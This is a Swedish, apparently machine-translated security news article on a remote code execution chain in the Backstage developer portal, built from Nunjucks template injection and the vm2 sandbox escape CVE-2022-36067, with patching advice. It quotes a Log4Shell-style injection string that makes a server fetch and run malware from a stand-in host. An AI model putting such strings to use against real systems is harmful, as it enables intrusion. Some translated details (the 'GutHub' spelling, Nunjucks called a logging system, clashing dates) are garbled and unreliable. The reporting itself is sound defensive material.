Log4Shell-liknande kodexekveringshål i populära Backstage-dev-verktyget

Forskare på molnkodningssäkerhetsföretaget Oxeye har skrivit upp en kritisk bugg som de nyligen upptäckte i den populära molnutvecklingsverktygssatsen Backstage.

Deras rapport innehåller en förklaring av hur buggen fungerar, plus proof-of-concept-kod (PoC) som visar hur man utnyttjar den.

Backstage är vad som kallas en molnutvecklarportal – en sorts affärslogisk backend som gör det enkelt att bygga webbaserade API:er (applikationsprogrammeringsgränssnitt) för att tillåta kodare inom och utanför ditt företag att interagera med dina onlinetjänster.

Med själva projektets ord, skapades ursprungligen på Spotify men nu öppen källkod på GutHub:

Backstage är en öppen plattform för att bygga utvecklarportaler. Backstage, som drivs av en centraliserad mjukvarukatalog, återställer ordningen i dina mikrotjänster och infrastruktur och gör det möjligt för dina produktteam att skicka högkvalitativ kod snabbt – utan att kompromissa med autonomin.

Backstage förenar alla dina infrastrukturverktyg, tjänster och dokumentation för att skapa en strömlinjeformad utvecklingsmiljö från ände till slut.

Nej, vi vet inte riktigt vad det betyder heller, men vi vet att verktygslådan är skriven i JavaScript, körs med JavaScript-systemet på serversidan node.js, och drar in ett nät av försörjningskedjans beroenden från NPM:s ekosystem.

NPM är en förkortning för Node Package Manager, en automatiserad verktygslåda för att säkerställa att din back-end JavaScript-kod enkelt kan använda ett brett utbud av öppen källkodsbibliotek som tillhandahåller populära, förskrivna hjälpverktyg för allt från kryptografi och databashantering till loggning och versionskontroll.

Fjärrkörning av kod

Tyvärr kan buggen som avslöjas idag, om den inte är patchad, ge oautentiserade utomstående (löst, alla som kan göra API-anslutningar till dina servrar) ett sätt att utlösa fjärrkörning av kod (RCE) inuti affärslogikservrarna i ditt nätverk.

Men lyckligtvis, om vi har tolkat Oxeyes uppskrivning korrekt, beror attacken de beskriver för sin Backstage RCE på en sekvens av kodningsfel som i slutändan beror på en specifik bugg, betecknad CVE-2022-36067 i en försörjningskedja-komponent som Backstage förlitar sig på kallad vm2.

Om du undrar är vm2 en generell NPM-modul som implementerar en "virtuell maskinsandlåda" som syftar till att göra potentiellt riskabelt JavaScript lite säkrare att köra på dina servrar.

Det där CVE-2022-36067-felet i vm2 var rapporterade tillbaka i augusti 2022 av Oxeye själv (som gav den ett PR-vänligt namn "Sandbreak", eftersom det bröt ut ur sandlådan), och lappas omgående av vm2-teamet för nästan tre månader sedan.

Så, så vitt vi kan se, om du är en Backstage-användare vill du se till att du har patchat alla riskkomponenter i din Backstage-installation...

…men om du korrigerade vm2-komponenten som var sårbar för Sandbreak för alla dessa månader sedan, verkar det som om du inte är direkt sårbar för det utnyttjande som beskrivs i Oxeyes senaste avslöjande.

Dessutom, om dina Backstage-servrar är konfigurerade som bra riktlinjer för cybersäkerhet skulle föreslå, med autentisering som krävs både vid nätverkskanten och inuti nätverket, riskerar du inte att få slumpmässiga "endast för forskarändamål" sonder från "hjälpsamma" individer. för att visa att de är intresserade av cyberthot "forskning".

En "Emmentalerost" attack

Enkelt uttryckt är de nyligen avslöjade säkerhetsproblemen bieffekten av en rad säkerhetsproblem, som hål i skivor av Emmenthal-ost som kan tränga igenom i följd om en angripare kan rada upp minst ett hål på varje skiva.

Som vi förstår det innehåller Backstage en komponent som heter Scaffolder, som, som namnet antyder, hjälper dig att hantera de olika tilläggen (så kallade plugins) som din utvecklargemenskap kanske vill ha eller behöver.

Scaffolder använder i sin tur ett meddelandeloggningssystem från Mozilla, känt som Nunjucks, som inkluderar vad som kallas strängmall in node.js cirklar, som stränginterpolering i Java-världen, och som strängbyte till sysadmins som använder kommandoskal som Bash.

Om stränginterpolation ringer en klocka, är det förmodligen för att den låg i hjärtat av Log4Shell sårbarhet redan i december 2021, och av Follina bugg i mitten av 2022.

Det är där du får skriva om innehållet i ett loggmeddelande baserat på speciella "kodtecken" i en strängmall, så att en sträng som t.ex. $USER kan ersättas med kontonamnet som används av servern, eller ${PID} kan hämta det aktuella process-ID.

I det extrema fallet med Log4Shell, den nyfikna besvärjelsen ${jndi:ldap://example.com:8888/malware} kan direkt lura servern att ladda ner ett program som heter malware från example.com och kör den tyst i bakgrunden.

Med andra ord måste du vara helt säker på att data som kommer från en opålitlig källa, såsom en extern användare, aldrig skickas blint till en strängmall eller stränginterpolationsfunktion som ska användas som själva malltexten.

Om en fjärranvändare, till exempel, försöker lura din server genom att ange sitt användarnamn som ${{RISKY}} (förutsatt att mallbiblioteket använder ${{...}} som dess speciella markör), måste du se till att din loggningskod kommer att registrera den där stygga texten bokstavligen när den togs emot...

…snarare än att låta texten som loggas ta kontroll över själva loggningsfunktionen!

Med orden i ett gammalt barnrim, måste du se till att du inte slutar sjunga, "Det är ett hål i min ${{BUCKET}}, kära Liza, kära Liza, det är ett hål i min ${{BUCKET}}, kära Liza. Ett hål!"

Insvept i en säkerhetsfilt

För att vara rättvis är Nunjucks kanske alltför kraftfulla mall-/interpoleringsfunktioner insvept av Backstage i ytterligare en komponent i försörjningskedjan, nämligen det ovannämnda sandlådesystemet vm2, som är tänkt att begränsa faran som en illvillig användare kan göra med booby -fångad indata.

Tyvärr kunde Oxeye-forskare para ihop sina nyupptäckta sökvägar för kodutlösande strängmall i Backstage + Scaffolder + Nunjucks med den äldre sårbarheten CVE-2022-36067 i vm2-säkerhetspaketet för att uppnå potentiell fjärrkörning av kod på en Backstage-server .

Vad göra?

Om du är en Backstage-användare:

• Se till att du har de senaste versionerna av Backstage och dess beroenden, inklusive plugin-scaffolder-backend komponent. Enligt Oxeye korrigerades de relevanta buggarna i Backstage-koden senast den 01 september 2022, så att varje officiell punktrelease efter dessa data bör inkludera korrigeringarna. I skrivande stund [2022-11-1T16:00Z] inkluderar det Backstage 1.6.0, 1.7.0 och 1.8.0, släppt 2022-09-21, 2022-10-18 respektive 2022-11-15.
• Kontrollera att din Backstage-installation har autentisering konfigurerad som du förväntar dig. Oxeye hävdar att autentisering är avstängd som standard, och att efter att ha följt Backstage riktlinjer, backend-servrar (som förmodligen inte är tänkta att exponeras externt ändå) tillåts fortfarande oautentiserad åtkomst. Det kan vara vad du vill, men vi rekommenderar att du använder det här problemet som ett skäl för att kontrollera att din inställning matchar dina avsikter.
• Kontrollera vilka delar av din Backstage-infrastruktur som kan nås från internet. Återigen, använd det här problemet som en anledning att skanna ditt eget nätverk utifrån om du inte har gjort det nyligen.

Om du är en node.js/NPM-användare:

• Se till att du har den senaste versionen av vm2 sandbox-komponenten. Du kan ha detta installerat som ett beroende av annan programvara du använder, även om du inte har Backstage. CVE-2022-36067-sårbarheten korrigerades 2022-08-28, så du vill ha vm2-version 3.9.11 eller senare.

Om du är en programmerare:

• Var så defensiv du kan när du anropar kraftfulla loggningsfunktioner. Om du använder en loggningstjänst (inklusive Nunjucks eller Log4J) som inkluderar kraftfulla mall-/interpoleringsfunktioner, stäng av alla funktioner du inte behöver så att de inte kan utnyttjas av misstag. Se till att opålitlig indata aldrig i sig används som en mall, vilket förhindrar angripare från att rulla sina egna direkt farliga inmatningssträngar.
• Oavsett andra försiktighetsåtgärder på plats, sanera dina loggningsingångar och -utgångar. Kom ihåg att någon annan kommer att behöva öppna dina loggfiler i framtiden. Tillåt inte att några oavsiktliga booby-fällor skrivs in i din loggfil där de kan orsaka problem senare, till exempel HTML-fragment med skripttaggar kvar i. (Någon kan öppna filen i en webbläsare av misstag.)

Även när du får input från en pålitlig källa, finns det sällan någon anledning att inte gå igenom dina egna saneringskontroller innan du använder den.

(Du kan ibland motivera ett undantag, till exempel av prestationsskäl, men det bör vara ett undantag, inte regeln.)

För det första, genom att kontrollera igen hjälper du dig att upptäcka fel som tidigare kodare kan ha gjort i god tro; för det andra hjälper det till att begränsa spridningen av dåliga eller fångade data om någon annan del av ditt ekosystem äventyras.

Grejen med de skivorna Emmenthal ost som vi nämnde tidigare är att även om de är genomträngliga om minst ett hål är i linje på varje ark...

…de är ogenomträngliga om det finns minst ett ark med hål som inte alls passar ihop!

---